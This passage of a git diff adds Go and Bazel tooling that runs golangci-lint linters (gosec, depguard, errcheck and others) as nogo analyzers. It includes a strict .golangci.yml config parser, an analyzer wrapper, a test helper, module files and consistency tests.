%s list", name) + } + var out []string + for _, s := range regexp.MustCompile(`"([^"]+)"`).FindAllSubmatch(m[1], -1) { + out = append(out, string(s[1])) + } + return out +} + +// TestGolangciLintersAreTheEnabledOnes keeps analyzers.bzl's GOLANGCI_LINTERS +// equal to .golangci.yml's linters.enable: a linter enabled there and missing +// here would silently stop gating, and one listed here but not enabled would +// do nothing (Wrap skips it). +func TestGolangciLintersAreTheEnabledOnes(t *testing.T) { + data, err := os.ReadFile("../../.golangci.yml") + if err != nil { + t.Fatal(err) + } + cfg, err := golangci.Parse(data) + if err != nil { + t.Fatal(err) + } + enabled := slices.Sorted(slices.Values(cfg.Linters.Enable)) + listed := slices.Sorted(slices.Values(starlarkList(t, "GOLANGCI_LINTERS"))) + if !slices.Equal(enabled, listed) { + t.Errorf(".golangci.yml enables %v; analyzers.bzl's GOLANGCI_LINTERS is %v", enabled, listed) + } +} + +// Each wrapper is named after its golangci-lint linter, which is what +// //nolint: directives and .golangci.yml's exclusion rules name. +func TestWrapperNamesAreLinterNames(t *testing.T) { + for _, a := range []*analysis.Analyzer{ + depguard.Analyzer, errcheck.Analyzer, forbidigo.Analyzer, gosec.Analyzer, + misspell.Analyzer, sloglint.Analyzer, unconvert.Analyzer, unparam.Analyzer, + } { + if !slices.Contains(starlarkList(t, "GOLANGCI_LINTERS"), a.Name) { + t.Errorf("analyzer %q is not a GOLANGCI_LINTERS entry", a.Name) + } + } +} + +// The embedded copy Wrap applies is the repository's .golangci.yml. +func TestEmbeddedConfigIsTheRepositoryConfig(t *testing.T) { + data, err := os.ReadFile("../../.golangci.yml") + if err != nil { + t.Fatal(err) + } + want, err := golangci.Parse(data) + if err != nil { + t.Fatal(err) + } + got, err := golangci.Load() + if err != nil { + t.Fatal(err) + } + if !slices.Equal(got.Linters.Enable, want.Linters.Enable) || len(got.Linters.Exclusions.Rules) != len(want.Linters.Exclusions.Rules) { + t.Errorf("embedded .golangci.yml differs from the repository's") + } +} + +// config.json's _base scope: external repos, Bazel outputs and testdata only. +func TestBaseScope(t *testing.T) { + data, err := os.ReadFile("config.json") + if err != nil { + t.Fatal(err) + } + for _, want := range []string{`"^external/"`, `"(^|/)bazel-out/"`, `"(^|/)testdata/"`} { + if !strings.Contains(string(data), want) { + t.Errorf("config.json does not exclude %s", want) + } + } +} diff --git a/tools/nogo/config.json b/tools/nogo/config.json new file mode 100644 index 000000000..0c990c3a5 --- /dev/null +++ b/tools/nogo/config.json @@ -0,0 +1,10 @@ +{ + "_base": { + "description": "Scope every analyzer to first-party code as `go vet ./...` and golangci-lint loaded it: no external repos, Bazel-generated sources or testdata trees (./... skips them). The golangci-lint linters additionally apply .golangci.yml's run.tests, generated-file and exclusion rules themselves (analyzers/internal/golangci).", + "exclude_files": { + "^external/": "third-party module repositories", + "(^|/)bazel-out/": "Bazel-generated sources (test mains, cgo, embedcfg)", + "(^|/)testdata/": "fixtures; ./... never loaded them" + } + } +} diff --git a/tools/nogo/go.mod b/tools/nogo/go.mod new file mode 100644 index 000000000..936b993ad --- /dev/null +++ b/tools/nogo/go.mod @@ -0,0 +1,26 @@ +module github.com/steveyegge/beads/tools/nogo + +go 1.26.5 + +require ( + github.com/OpenPeeDeeP/depguard/v2 v2.2.1 + github.com/ashanbrown/forbidigo/v2 v2.3.0 + github.com/golangci/misspell v0.8.0 + github.com/golangci/unconvert v0.0.0-20250410112200-a129a6e6413e + github.com/kisielk/errcheck v1.9.0 + github.com/securego/gosec/v2 v2.23.0 + go-simpler.org/sloglint v0.11.1 + golang.org/x/mod v0.40.0 + golang.org/x/tools v0.49.0 + gopkg.in/yaml.v3 v3.0.1 + mvdan.cc/unparam v0.0.0-20251027182757-5beb8c8f8f15 +) + +require ( + github.com/ccojocar/zxcvbn-go v1.0.4 // indirect + github.com/ettle/strcase v0.2.0 // indirect + github.com/gobwas/glob v0.2.3 // indirect + github.com/google/go-cmp v0.7.0 // indirect + golang.org/x/sync v0.23.0 // indirect + golang.org/x/text v0.41.0 // indirect +) diff --git a/tools/nogo/go.sum b/tools/nogo/go.sum new file mode 100644 index 000000000..c54a38928 --- /dev/null +++ b/tools/nogo/go.sum @@ -0,0 +1,60 @@ +github.com/Masterminds/semver/v3 v3.4.0 h1:Zog+i5UMtVoCU8oKka5P7i9q9HgrJeGzI9SA1Xbatp0= +github.com/Masterminds/semver/v3 v3.4.0/go.mod h1:4V+yj/TJE1HU9XfppCwVMZq3I84lprf4nC11bSS5beM= +github.com/OpenPeeDeeP/depguard/v2 v2.2.1 h1:vckeWVESWp6Qog7UZSARNqfu/cZqvki8zsuj3piCMx4= +github.com/OpenPeeDeeP/depguard/v2 v2.2.1/go.mod h1:q4DKzC4UcVaAvcfd41CZh0PWpGgzrVxUYBlgKNGquUo= +github.com/ashanbrown/forbidigo/v2 v2.3.0 h1:OZZDOchCgsX5gvToVtEBoV2UWbFfI6RKQTir2UZzSxo= +github.com/ashanbrown/forbidigo/v2 v2.3.0/go.mod h1:5p6VmsG5/1xx3E785W9fouMxIOkvY2rRV9nMdWadd6c= +github.com/ccojocar/zxcvbn-go v1.0.4 h1:FWnCIRMXPj43ukfX000kvBZvV6raSxakYr1nzyNrUcc= +github.com/ccojocar/zxcvbn-go v1.0.4/go.mod h1:3GxGX+rHmueTUMvm5ium7irpyjmm7ikxYFOSJB21Das= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/ettle/strcase v0.2.0 h1:fGNiVF21fHXpX1niBgk0aROov1LagYsOwV/xqKDKR/Q= +github.com/ettle/strcase v0.2.0/go.mod h1:DajmHElDSaX76ITe3/VHVyMin4LWSJN5Z909Wp+ED1A= +github.com/go-logr/logr v1.4.3 h1:CjnDlHq8ikf6E492q6eKboGOC0T8CDaOvkHCIg8idEI= +github.com/go-logr/logr v1.4.3/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= +github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI= +github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8= +github.com/gobwas/glob v0.2.3 h1:A4xDbljILXROh+kObIiy5kIaPYD8e96x1tgBhUI5J+Y= +github.com/gobwas/glob v0.2.3/go.mod h1:d3Ez4x06l9bZtSvzIay5+Yzi0fmZzPgnTbPcKjJAkT8= +github.com/golangci/misspell v0.8.0 h1:qvxQhiE2/5z+BVRo1kwYA8yGz+lOlu5Jfvtx2b04Jbg= +github.com/golangci/misspell v0.8.0/go.mod h1:WZyyI2P3hxPY2UVHs3cS8YcllAeyfquQcKfdeE9AFVg= +github.com/golangci/unconvert v0.0.0-20250410112200-a129a6e6413e h1:gD6P7NEo7Eqtt0ssnqSJNNndxe69DOQ24A5h7+i3KpM= +github.com/golangci/unconvert v0.0.0-20250410112200-a129a6e6413e/go.mod h1:h+wZwLjUTJnm/P2rwlbJdRPZXOzaT36/FwnPnY2inzc= +github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= +github.com/google/pprof v0.0.0-20260115054156-294ebfa9ad83 h1:z2ogiKUYzX5Is6zr/vP9vJGqPwcdqsWjOt+V8J7+bTc= +github.com/google/pprof v0.0.0-20260115054156-294ebfa9ad83/go.mod h1:MxpfABSjhmINe3F1It9d+8exIHFvUqtLIRCdOGNXqiI= +github.com/kisielk/errcheck v1.9.0 h1:9xt1zI9EBfcYBvdU1nVrzMzzUPUtPKs9bVSIM3TAb3M= +github.com/kisielk/errcheck v1.9.0/go.mod h1:kQxWMMVZgIkDq7U8xtG/n2juOjbLgZtedi0D+/VL/i8= +github.com/onsi/ginkgo/v2 v2.28.1 h1:S4hj+HbZp40fNKuLUQOYLDgZLwNUVn19N3Atb98NCyI= +github.com/onsi/ginkgo/v2 v2.28.1/go.mod h1:CLtbVInNckU3/+gC8LzkGUb9oF+e8W8TdUsxPwvdOgE= +github.com/onsi/gomega v1.39.1 h1:1IJLAad4zjPn2PsnhH70V4DKRFlrCzGBNrNaru+Vf28= +github.com/onsi/gomega v1.39.1/go.mod h1:hL6yVALoTOxeWudERyfppUcZXjMwIMLnuSfruD2lcfg= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/securego/gosec/v2 v2.23.0 h1:h4TtF64qFzvnkqvsHC/knT7YC5fqyOCItlVR8+ptEBo= +github.com/securego/gosec/v2 v2.23.0/go.mod h1:qRHEgXLFuYUDkI2T7W7NJAmOkxVhkR0x9xyHOIcMNZ0= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= +github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +go-simpler.org/sloglint v0.11.1 h1:xRbPepLT/MHPTCA6TS/wNfZrDzkGvCCqUv4Bdwc3H7s= +go-simpler.org/sloglint v0.11.1/go.mod h1:2PowwiCOK8mjiF+0KGifVOT8ZsCNiFzvfyJeJOIt8MQ= +go.yaml.in/yaml/v3 v3.0.4 h1:tfq32ie2Jv2UxXFdLJdh3jXuOzWiL1fo0bu/FbuKpbc= +go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg= +golang.org/x/mod v0.40.0 h1:hUv+3cXcdRHz08UmSiOob7sadHig73uo5bkXxQ/tvUs= +golang.org/x/mod v0.40.0/go.mod h1:0/weTWkPWGBikyTWAX3dkjVztMmBA5hM0DH6BElSupE= +golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To= +golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU= +golang.org/x/sync v0.23.0 h1:KameEIfc1IkluZyXWLn39Wd4tURc6GbCiISGiZm2bQk= +golang.org/x/sync v0.23.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0= +golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs= +golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= +golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8= +golang.org/x/text v0.41.0/go.mod h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M= +golang.org/x/tools v0.49.0 h1:3NI7VXzL9+1WZD52Dx2ttoPwD5DWrFGpl9mFZDlmisI= +golang.org/x/tools v0.49.0/go.mod h1:SJNXV9DBKT0UbdttsQjbfJlAE/q+y36++zo3uL3N0Oo= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +mvdan.cc/unparam v0.0.0-20251027182757-5beb8c8f8f15 h1:ssMzja7PDPJV8FStj7hq9IKiuiKhgz9ErWw+m68e7DI= +mvdan.cc/unparam v0.0.0-20251027182757-5beb8c8f8f15/go.mod h1:4M5MMXl2kW6fivUT6yRGpLLPNfuGtU2Z0cPvFquGDYU= diff --git a/tools/nogo/internal/analyzertest/BUILD.bazel b/tools/nogo/internal/analyzertest/BUILD.bazel new file mode 100644 index 000000000..c7734cf4d --- /dev/null +++ b/tools/nogo/internal/analyzertest/BUILD.bazel @@ -0,0 +1,35 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "analyzertest", + srcs = ["analyzertest.go"], + importpath = "github.com/steveyegge/beads/tools/nogo/internal/analyzertest", + visibility = ["//tools/nogo:__subpackages__"], + deps = [ + "@org_golang_x_tools//go/analysis", + "@org_golang_x_tools//go/analysis/checker", + "@org_golang_x_tools//go/packages", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/nogo/internal/analyzertest/analyzertest.go b/tools/nogo/internal/analyzertest/analyzertest.go new file mode 100644 index 000000000..2cdd6b54c --- /dev/null +++ b/tools/nogo/internal/analyzertest/analyzertest.go @@ -0,0 +1,151 @@ +// Package analyzertest runs an analyzer over a small self-contained package +// written to a temporary directory. Unlike x/tools' analysistest it needs no +// `go` command or GOPATH layout, so it works the same under `go test` and in +// a Bazel sandbox. +// +// Imports resolve to empty packages: a fixture may import any path (depguard +// only reads the import declarations), but cannot use what it imports. +package analyzertest + +import ( + "go/ast" + "go/parser" + "go/token" + "go/types" + "os" + "path" + "path/filepath" + "sort" + "testing" + + "golang.org/x/tools/go/analysis" + "golang.org/x/tools/go/analysis/checker" + "golang.org/x/tools/go/packages" +) + +// Diagnostic is a reported finding, positioned by file base name and line. +type Diagnostic struct { + File string + Line int + Message string +} + +// Run writes files (base name to source) into dir/ of a fresh +// temporary directory, type-checks them as one package, runs a, and returns +// its diagnostics sorted by position. +func Run(t *testing.T, a *analysis.Analyzer, pkgPath string, files map[string]string) []Diagnostic { + t.Helper() + dir := filepath.Join(t.TempDir(), filepath.FromSlash(pkgPath)) + return run(t, a, pkgPath, dir, dir, files) +} + +// RunInRepo is Run for a package at relDir ("" for the root) of a fresh +// temporary repository. The test's working directory becomes the repository +// root and file names are repository-relative, as in a nogo action, where +// the execution root is the repository root. +func RunInRepo(t *testing.T, a *analysis.Analyzer, relDir string, files map[string]string) []Diagnostic { + t.Helper() + root := t.TempDir() + t.Chdir(root) + pkgPath := path.Join("example.com/repo", relDir) + return run(t, a, pkgPath, filepath.Join(root, filepath.FromSlash(relDir)), filepath.FromSlash(relDir), files) +} + +func run(t *testing.T, a *analysis.Analyzer, pkgPath, dir, nameDir string, files map[string]string) []Diagnostic { + t.Helper() + if err := os.MkdirAll(dir, 0o750); err != nil { + t.Fatal(err) + } + fset := token.NewFileSet() + var syntax []*ast.File + var names []string + for name := range files { + names = append(names, name) + } + sort.Strings(names) + var paths []string + for _, name := range names { + if err := os.WriteFile(filepath.Join(dir, name), []byte(files[name]), 0o600); err != nil { + t.Fatal(err) + } + fileName := filepath.Join(nameDir, name) + f, err := parser.ParseFile(fset, fileName, files[name], parser.ParseComments) + if err != nil { + t.Fatalf("parsing %s: %v", name, err) + } + syntax = append(syntax, f) + paths = append(paths, fileName) + } + info := &types.Info{ + Types: map[ast.Expr]types.TypeAndValue{}, + Instances: map[*ast.Ident]types.Instance{}, + Defs: map[*ast.Ident]types.Object{}, + Uses: map[*ast.Ident]types.Object{}, + Implicits: map[ast.Node]types.Object{}, + Selections: map[*ast.SelectorExpr]*types.Selection{}, + Scopes: map[ast.Node]*types.Scope{}, + FileVersions: map[*ast.File]string{}, + } + sizes := types.SizesFor("gc", "amd64") + conf := types.Config{GoVersion: "go1.26", Sizes: sizes, Importer: emptyImporter{}} + tpkg, err := conf.Check(pkgPath, fset, syntax, info) + if err != nil { + t.Fatalf("type-checking %s: %v", pkgPath, err) + } + pkg := &packages.Package{ + ID: pkgPath, + Name: tpkg.Name(), + PkgPath: pkgPath, + GoFiles: paths, + CompiledGoFiles: paths, + Fset: fset, + Syntax: syntax, + Types: tpkg, + TypesInfo: info, + TypesSizes: sizes, + Imports: map[string]*packages.Package{}, + } + graph, err := checker.Analyze([]*analysis.Analyzer{a}, []*packages.Package{pkg}, nil) + if err != nil { + t.Fatalf("analyzing: %v", err) + } + var out []Diagnostic + for _, act := range graph.Roots { + if act.Err != nil { + t.Fatalf("%s: %v", act.Analyzer.Name, act.Err) + } + for _, d := range act.Diagnostics { + p := fset.Position(d.Pos) + out = append(out, Diagnostic{File: filepath.Base(p.Filename), Line: p.Line, Message: d.Message}) + } + } + sort.Slice(out, func(i, j int) bool { + if out[i].File != out[j].File { + return out[i].File < out[j].File + } + return out[i].Line < out[j].Line + }) + return out +} + +// emptyImporter resolves every import to an empty, complete package. +type emptyImporter struct{} + +func (emptyImporter) Import(importPath string) (*types.Package, error) { + pkg := types.NewPackage(importPath, path.Base(importPath)) + pkg.MarkComplete() + return pkg, nil +} + +// Equal fails t unless got equals want. +func Equal(t *testing.T, got, want []Diagnostic) { + t.Helper() + if len(got) != len(want) { + t.Fatalf("diagnostics = %+v, want %+v", got, want) + } + for i := range want { + if got[i] != want[i] { + t.Errorf("diagnostic %d = %+v, want %+v", i, got[i], want[i]) + } + } +} diff --git a/tools/nogo/internal/golangci/BUILD.bazel b/tools/nogo/internal/golangci/BUILD.bazel new file mode 100644 index 000000000..835acc846 --- /dev/null +++ b/tools/nogo/internal/golangci/BUILD.bazel @@ -0,0 +1,57 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +# config.go embeds .golangci.yml; go:embed cannot reach outside the package, +# so Bazel copies it in. (The tools/nogo module is built by Bazel only.) +genrule( + name = "golangci_yml", + srcs = ["//:.golangci.yml"], + outs = ["golangci.yml"], + cmd = "cp $< $@", +) + +go_library( + name = "golangci", + srcs = [ + "config.go", + "wrap.go", + ], + embedsrcs = [":golangci.yml"], # keep + importpath = "github.com/steveyegge/beads/tools/nogo/internal/golangci", + visibility = ["//tools/nogo:__subpackages__"], + deps = [ + "@in_gopkg_yaml_v3//:yaml_v3", + "@org_golang_x_tools//go/analysis", + ], +) + +go_test( + name = "golangci_test", + srcs = ["wrap_test.go"], + deps = [ + ":golangci", + "//tools/nogo/internal/analyzertest", + "@org_golang_x_tools//go/analysis", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/nogo/internal/golangci/config.go b/tools/nogo/internal/golangci/config.go new file mode 100644 index 000000000..1fecca691 --- /dev/null +++ b/tools/nogo/internal/golangci/config.go @@ -0,0 +1,307 @@ +// Package golangci applies the repository's .golangci.yml to nogo analyzers. +// +// .golangci.yml stays the single description of what the linters check: which +// are enabled, their settings, `run.tests`, generated-file handling and the +// path/text exclusion rules. Bazel copies it into this package (see +// BUILD.bazel), and Wrap gives every golangci-lint linter's nogo analyzer the +// semantics golangci-lint gave it, so editing .golangci.yml changes what the +// nogo build reports. +// +// Decoding is strict: a key this package does not implement fails every +// wrapped analyzer instead of being ignored, so the nogo build can never +// silently drop a setting golangci-lint would have honored. +package golangci + +import ( + "bytes" + _ "embed" // .golangci.yml, copied in by BUILD.bazel + "errors" + "fmt" + "regexp" + "slices" + "sync" + + "gopkg.in/yaml.v3" +) + +//go:embed golangci.yml +var embedded []byte + +// Config is the subset of golangci-lint v2's configuration this repository +// uses. Field names follow golangci-lint's keys. +type Config struct { + Version string `yaml:"version"` + Run RunSection `yaml:"run"` + Linters Linters `yaml:"linters"` + Issues Issues `yaml:"issues"` + + rules []compiledRule +} + +// RunSection is golangci-lint's `run` section. +type RunSection struct { + // Timeout bounds a golangci-lint run; nogo has no equivalent. + Timeout string `yaml:"timeout"` + // Tests reports whether test files are analyzed (golangci-lint's default: + // true). + Tests *bool `yaml:"tests"` +} + +// Issues is golangci-lint's `issues` section. Its keys shape golangci-lint's +// report output only; any finding still fails the nogo build. +type Issues struct { + UniqByLine *bool `yaml:"uniq-by-line"` +} + +// Linters is golangci-lint's `linters` section. +type Linters struct { + Default string `yaml:"default"` + Enable []string `yaml:"enable"` + Settings Settings `yaml:"settings"` + Exclusions Exclusions `yaml:"exclusions"` +} + +// Settings holds the settings of the linters this repository enables. +type Settings struct { + Depguard DepguardSettings `yaml:"depguard"` + Errcheck ErrcheckSettings `yaml:"errcheck"` + Forbidigo ForbidigoSettings `yaml:"forbidigo"` + Gosec GosecSettings `yaml:"gosec"` + Misspell MisspellSettings `yaml:"misspell"` + Sloglint SloglintSettings `yaml:"sloglint"` + Unconvert UnconvertSettings `yaml:"unconvert"` + Unparam UnparamSettings `yaml:"unparam"` +} + +// DepguardSettings is depguard's settings block. +type DepguardSettings struct { + Rules map[string]DepguardList `yaml:"rules"` +} + +// DepguardList is one named depguard rule. +type DepguardList struct { + ListMode string `yaml:"list-mode"` + Files []string `yaml:"files"` + Allow []string `yaml:"allow"` + Deny []DepguardDeny `yaml:"deny"` +} + +// DepguardDeny is one denied package prefix and the reason shown for it. +type DepguardDeny struct { + Pkg string `yaml:"pkg"` + Desc string `yaml:"desc"` +} + +// ErrcheckSettings is errcheck's settings block. +type ErrcheckSettings struct { + DisableDefaultExclusions bool `yaml:"disable-default-exclusions"` + CheckTypeAssertions bool `yaml:"check-type-assertions"` + CheckAssignToBlank bool `yaml:"check-blank"` + ExcludeFunctions []string `yaml:"exclude-functions"` + Verbose bool `yaml:"verbose"` +} + +// ForbidigoSettings is forbidigo's settings block. +type ForbidigoSettings struct { + Forbid []ForbidigoPattern `yaml:"forbid"` + // ExcludeGodocExamples defaults to true, as in golangci-lint. + ExcludeGodocExamples *bool `yaml:"exclude-godoc-examples"` + AnalyzeTypes bool `yaml:"analyze-types"` +} + +// ForbidigoPattern is one forbidden identifier pattern. +type ForbidigoPattern struct { + Pattern string `yaml:"pattern"` + Pkg string `yaml:"pkg,omitempty"` + Msg string `yaml:"msg,omitempty"` +} + +// GosecSettings is gosec's settings block. Only rule selection is supported; +// gosec's per-rule `config` map is not. +type GosecSettings struct { + Includes []string `yaml:"includes"` + Excludes []string `yaml:"excludes"` + Severity string `yaml:"severity"` + Confidence string `yaml:"confidence"` +} + +// MisspellSettings is misspell's settings block. +type MisspellSettings struct { + Mode string `yaml:"mode"` + Locale string `yaml:"locale"` + ExtraWords []MisspellExtraWord `yaml:"extra-words"` + IgnoreRules []string `yaml:"ignore-rules"` +} + +// MisspellExtraWord adds a typo and its correction. +type MisspellExtraWord struct { + Typo string `yaml:"typo"` + Correction string `yaml:"correction"` +} + +// SloglintSettings is sloglint's settings block. NoMixedArgs defaults to +// true, as in golangci-lint. +type SloglintSettings struct { + NoMixedArgs *bool `yaml:"no-mixed-args"` + KVOnly bool `yaml:"kv-only"` + AttrOnly bool `yaml:"attr-only"` + NoGlobal string `yaml:"no-global"` + Context string `yaml:"context"` + StaticMsg bool `yaml:"static-msg"` + MsgStyle string `yaml:"msg-style"` + NoRawKeys bool `yaml:"no-raw-keys"` + KeyNamingCase string `yaml:"key-naming-case"` + ForbiddenKeys []string `yaml:"forbidden-keys"` + ArgsOnSepLines bool `yaml:"args-on-sep-lines"` +} + +// UnconvertSettings is unconvert's settings block. +type UnconvertSettings struct { + FastMath bool `yaml:"fast-math"` + Safe bool `yaml:"safe"` +} + +// UnparamSettings is unparam's settings block. +type UnparamSettings struct { + CheckExported bool `yaml:"check-exported"` +} + +// Exclusions is golangci-lint v2's `linters.exclusions` section. +type Exclusions struct { + // Generated is "lax" (the default), "strict" or "disable". + Generated string `yaml:"generated"` + Rules []ExclusionRule `yaml:"rules"` +} + +// ExclusionRule drops the findings that match every condition it sets. +type ExclusionRule struct { + Path string `yaml:"path"` + PathExcept string `yaml:"path-except"` + Text string `yaml:"text"` + Linters []string `yaml:"linters"` +} + +// Generated-file modes of linters.exclusions.generated. +const ( + GeneratedLax = "lax" + GeneratedStrict = "strict" + GeneratedDisable = "disable" +) + +// Parse strictly decodes a golangci-lint v2 configuration and validates it. +func Parse(data []byte) (*Config, error) { + dec := yaml.NewDecoder(bytes.NewReader(data)) + dec.KnownFields(true) + var c Config + if err := dec.Decode(&c); err != nil { + return nil, fmt.Errorf("decoding .golangci.yml: %w", err) + } + if c.Version != "2" { + return nil, fmt.Errorf(".golangci.yml version %q: want \"2\"", c.Version) + } + if c.Linters.Default != "none" { + return nil, fmt.Errorf(".golangci.yml linters.default %q: only \"none\" (an explicit enable list) is supported", c.Linters.Default) + } + switch c.Linters.Exclusions.Generated { + case "", GeneratedLax, GeneratedStrict, GeneratedDisable: + default: + return nil, fmt.Errorf(".golangci.yml linters.exclusions.generated %q: want lax, strict or disable", c.Linters.Exclusions.Generated) + } + for i, r := range c.Linters.Exclusions.Rules { + cr, err := r.compile() + if err != nil { + return nil, fmt.Errorf(".golangci.yml linters.exclusions.rules[%d]: %w", i, err) + } + c.rules = append(c.rules, cr) + } + return &c, nil +} + +// TestsAnalyzed reports run.tests (golangci-lint's default: true). +func (c *Config) TestsAnalyzed() bool { + return c.Run.Tests == nil || *c.Run.Tests +} + +// Enabled reports whether linters.enable lists the linter. +func (c *Config) Enabled(linter string) bool { + return slices.Contains(c.Linters.Enable, linter) +} + +// GeneratedMode returns linters.exclusions.generated, defaulted to lax. +func (c *Config) GeneratedMode() string { + if c.Linters.Exclusions.Generated == "" { + return GeneratedLax + } + return c.Linters.Exclusions.Generated +} + +var ( + loadOnce sync.Once + loaded *Config + loadErr error +) + +// Load returns the repository's .golangci.yml, parsed once. +func Load() (*Config, error) { + loadOnce.Do(func() { + loaded, loadErr = Parse(embedded) + }) + return loaded, loadErr +} + +type compiledRule struct { + path, pathExcept, text *regexp.Regexp + linters []string +} + +func (r ExclusionRule) compile() (compiledRule, error) { + var out compiledRule + var err error + if r.Path == "" && r.PathExcept == "" && r.Text == "" && len(r.Linters) == 0 { + return out, errors.New("empty rule") + } + compile := func(field, expr string) *regexp.Regexp { + if expr == "" || err != nil { + return nil + } + re, cerr := regexp.Compile(expr) + if cerr != nil { + err = fmt.Errorf("%s %q: %w", field, expr, cerr) + } + return re + } + out.path = compile("path", r.Path) + out.pathExcept = compile("path-except", r.PathExcept) + out.text = compile("text", r.Text) + out.linters = r.Linters + return out, err +} + +// match is golangci-lint's baseRule.match: every condition the rule sets +// must hold. path is relative to the repository root, with / separators. +func (r compiledRule) match(linter, path, text string) bool { + if r.text != nil && !r.text.MatchString(text) { + return false + } + if r.path != nil && !r.path.MatchString(path) { + return false + } + if r.pathExcept != nil && r.pathExcept.MatchString(path) { + return false + } + if len(r.linters) != 0 && !slices.Contains(r.linters, linter) { + return false + } + return true +} + +// Excluded reports whether a finding of linter at path (repository-relative, +// / separators) with the given text matches any exclusion rule. +func (c *Config) Excluded(linter, path, text string) bool { + for _, r := range c.rules { + if r.match(linter, path, text) { + return true + } + } + return false +} diff --git a/tools/nogo/internal/golangci/wrap.go b/tools/nogo/internal/golangci/wrap.go new file mode 100644 index 000000000..e799b05ac --- /dev/null +++ b/tools/nogo/internal/golangci/wrap.go @@ -0,0 +1,143 @@ +package golangci + +import ( + "go/ast" + "os" + "path/filepath" + "strings" + + "golang.org/x/tools/go/analysis" +) + +// Wrap returns an analyzer named linter that runs inner the way golangci-lint +// ran that linter under .golangci.yml: +// +// - nothing, unless linters.enable lists it; +// - with run.tests false, only on compile units without _test.go files. +// golangci-lint then loads each package without its tests; Bazel compiles +// that library unit on its own (go_library) beside the test unit, so the +// library unit sees exactly what golangci-lint saw, unused-parameter and +// unused-result verdicts included; +// - no findings in generated files (linters.exclusions.generated); +// - no findings an exclusion rule matches (linters.exclusions.rules). +// +// nogo honors //nolint itself (MODULE.bazel's rules_go patch). +func Wrap(linter string, inner *analysis.Analyzer) *analysis.Analyzer { + return &analysis.Analyzer{ + Name: linter, + Doc: inner.Doc, + URL: inner.URL, + Flags: inner.Flags, + Requires: inner.Requires, + ResultType: inner.ResultType, + FactTypes: inner.FactTypes, + RunDespiteErrors: inner.RunDespiteErrors, + Run: func(pass *analysis.Pass) (any, error) { + cfg, err := Load() + if err != nil { + return nil, err + } + return Run(cfg, linter, inner, pass) + }, + } +} + +// Run runs inner on pass under cfg's rules for linter (see Wrap). +func Run(cfg *Config, linter string, inner *analysis.Analyzer, pass *analysis.Pass) (any, error) { + if !cfg.Enabled(linter) { + return nil, nil + } + if !cfg.TestsAnalyzed() && HasTestFiles(pass) { + return nil, nil + } + generated := generatedFiles(cfg.GeneratedMode(), pass) + cwd, err := os.Getwd() + if err != nil { + return nil, err + } + filtered := *pass + filtered.Report = func(d analysis.Diagnostic) { + tf := pass.Fset.File(d.Pos) + if tf != nil && generated[tf.Name()] { + return + } + path := RelPath(cwd, pass.Fset.Position(d.Pos).Filename) + if cfg.Excluded(linter, path, d.Message) { + return + } + pass.Report(d) + } + return inner.Run(&filtered) +} + +// HasTestFiles reports whether the pass's compile unit includes _test.go +// files: Bazel's test unit 